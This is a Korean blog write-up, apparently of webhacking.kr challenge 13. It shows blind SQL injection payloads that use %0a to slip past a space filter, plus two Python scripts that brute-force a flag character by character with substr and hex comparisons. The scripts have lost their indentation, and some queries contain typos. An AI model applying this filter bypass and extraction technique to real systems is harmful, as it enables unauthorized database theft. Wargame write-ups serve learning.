첫화면은 제출과 Auth로 나누어 져 있다.
우선 1을 넣어보니 1값이 나온다.
그리고 2는 0이 나오고 여러 값들은 다 0이 나온다.
그래서 1 or 2를 넣어보니
no hack가 뜬다.
1or2를 넣으면 0이 나오는 데 띄워쓰기를 안하면 안먹히는 것 같다.
소스는 별 다를 게 없다.
그래서 %0a로 띄워쓰기를 우회 하니 or 가 먹힌다.
select 또한 0으로 나오는 것으로 봐서는
필터링은 안되어 있는 것 같다.
우선 flag의 갯수를 알아보니 위하여 count로 flag의 갯수 1로 넣어보니
0이 나온다. 아니라는 뜻 인것 같다,
그런데 2에서 1이 나오는 것으로 봐서는 2개가 flag 값으로 있는 것 같다.
그래서
no=if((select%0amin(lenght(flag))%0aprob13password%0a)in%0a(4),1,0)에서 4 자리에 계속 숫자를 넣다보니
짧은 flag는 4자리에서 나왔다.
반대로
no=if((select%0amax(lenght(flag))%0aprob13password%0a)in%0a(20),1,0)
에서 긴 자리의 flag가 나왔다.
import urllib.request
import re
if __name__ == "__main__":
answer = ''
key = True
code = [num for num in range(33,97)]
head = {'Cookie':'PHPSESSID=내 쿠키'}
for i in range(1,21):
for j in code:
print(i,"-->",chr(j))
req = urllib.request.Request("http://webhacking.kr/challenge/web/web-10/index.php?no=if(substr((select%0amax(flag)%0afrom%0aprob13password),"+str(i)+",1)in%0a("+hex(j)+"),1,0)",headers=head)
data = urllib.request.urlopen(req).read()
data = data.decode('UTF-8')
find = re.findall("<td>1</td>",data)
if find:
print("max length character :",i,":",chr(j))
answer += chr(j)
break;
if j == 96:
i=22
key = False
if key == False:
break
print(answer)
이렇게 max로 코드를 짜서
파이썬으로 돌려보면
이렇게 이상하게 4자리가 계속 나온다.
반대로
import urllib.request
import re
if __name__ == "__main__":
answer = ''
key = True
code = [num for num in range(33,97)]
head = {'Cookie':'PHPSESSID=내 쿠키'}
for i in range(1,21):
for j in code:
print(i,"-->",chr(j))
req = urllib.request.Request("http://webhacking.kr/challenge/web/web-10/index.php?no=if(substr((select%0amin(flag)%0afrom%0aprob13password),"+str(i)+",1)in%0a("+hex(j)+"),1,0)",headers=head)
data = urllib.request.urlopen(req).read()
data = data.decode('UTF-8')
find = re.findall("<td>1</td>",data)
if find:
print("max length character :",i,":",chr(j))
answer += chr(j)
break;
if j == 96:
i=22
key = False
if key == False:
break
print(answer)
이렇게 min으로 짜주면
max값이 나온다.
그 이유는 알수가 없다.
하지만 긴 flag값을 인증하면
13번도 클리어!!!
'WebHacking > Webhacking.kr' 카테고리의 다른 글
Webhacking.kr 34번 (0) | 2018.01.26 |
---|---|
Webhacking.kr 9번 (0) | 2018.01.26 |
Webhacking.kr 43번 (0) | 2018.01.25 |
Webhacking.kr 49번 (0) | 2018.01.19 |
Webhacking.kr 53번 (0) | 2018.01.18 |